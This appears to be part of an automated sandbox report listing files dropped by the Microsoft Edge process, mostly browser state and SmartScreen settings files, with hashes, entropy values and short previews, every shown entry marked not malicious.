SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3df55.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49910.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4fb35.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.025298602796656
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclS2V3G5:YWLSGTt1o9LuLgfGBPAzkVj/T8lS2m
MD5:	60B3A00CADFC1A8C23741B0D8BF50D5F
SHA1:	09D63F4B5C7ECA694734328BBA18CC2BF21F6E56
SHA-256:	23D8DE47F0868639C3FAB98E1A6F4D65A726E332AF208B27E00639B3A89913CC
SHA-512:	496298FD2503638283E67C7704B13D4E68F7BFBDF0CF22B5001F2DFC0E85DF0FF974B737B4CC0E4227BB7C8418C514C854DB4424F0761A3AFA502BFE7DE88BDB
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1737069390334567}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a14e2c35-285b-4959-81ac-56f2a4cd50bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44697
Entropy (8bit):	6.095963497946514
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB3wu3hDO6vP6OVxt5G4/nH3dF4HcGoup1Xl3jVzXq:z/Ps+wsI7yOEm618Dchu3VlXr4CRo1
MD5:	2384668BB2BC2A8D1CAF890009C1C4CE
SHA1:	415927F54B5E32311B436C05DF8FF49145F2D752
SHA-256:	D5A5C59DE01B1C8316A06D58BB035B7C5261EE6D2AE125E364005C528DD81777
SHA-512:	34E301F5F19EA5A3BBF922A828B297135ADF3702A26E6B3AA7D99936160F271CB46157BB8C63F772F741CA710F35D420044672C4CC0C9E1B8BA9D76D1BEBE388
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c02f0366-3dcd-43d6-ba99-8e241f06e7c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090718770301923
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMNwuF9hDO6vP6O+otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEp6Ftbz8hu3VlXr4CRo1
MD5:	8ECACEBA39A23158FEC034776782045F
SHA1:	AAF130242F18B68E74BF67A8C66D6E8B9B3EB754
SHA-256:	59DFC5F03A23AB7BD52B0209D9F2747903F276AE5CE5C6251007D12432B8EF63
SHA-512:	647AF41D3F63B959869AF49F25B2CE95C84E7A4EEED65CA33A03F10BAD9B0AD3706CE248124A6393D2ED05725CBD6FB133369D9BD09605F6ADCB0398DA74C10B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

